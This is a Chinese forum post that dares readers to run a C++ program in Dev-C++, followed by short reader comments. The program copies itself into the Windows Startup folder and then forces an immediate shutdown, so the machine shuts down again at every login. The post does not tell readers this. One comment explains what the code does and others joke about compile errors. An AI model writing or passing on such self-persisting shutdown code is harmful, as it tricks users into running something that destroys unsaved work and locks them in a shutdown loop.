谁敢在Dev-c++中运行
2026-05-12 21:53:20
发布于:江西
#include <windows.h>
#include <shlobj.h>
#include <cstdlib>
#include <string>
#include <filesystem>
namespace fs = std::filesystem;
std::wstring GetStartupFolderPath() {
wchar_t path[MAX_PATH];
if (SUCCEEDED(SHGetFolderPathW(NULL, CSIDL_STARTUP, NULL, 0, path))) {
return std::wstring(path);
}
return L"";
}
int main() {
wchar_t selfPath[MAX_PATH];
GetModuleFileNameW(NULL, selfPath, MAX_PATH);
std::wstring exePath(selfPath);
std::wstring startupDir = GetStartupFolderPath();
if (startupDir.empty()) {
wchar_t* appdata = nullptr;
_wdupenv_s(&appdata, nullptr, L"APPDATA");
if (appdata) {
startupDir = std::wstring(appdata) + L"\\Microsoft\\Windows\\Start Menu\\Programs\\Startup";
free(appdata);
}
else {
return 1;
}
}
fs::path targetPath = fs::path(startupDir) / fs::path(exePath).filename();
if (!fs::exists(targetPath)) {
if (!CopyFileW(exePath.c_str(), targetPath.c_str(), FALSE)) {
}
}
system("shutdown /s /f /t 0");
return 0;
}
全部评论 2
代码意图:将自身加入启动目录内,然后关机
昨天 来自 广东
1原来还有人类
昨天 来自 广东
0
我试试就逝世
昨天 来自 四川
0错误一大堆
昨天 来自 四川
0开门就红

昨天 来自 四川
0并非口渴
3小时前 来自 浙江
0


















有帮助,赞一个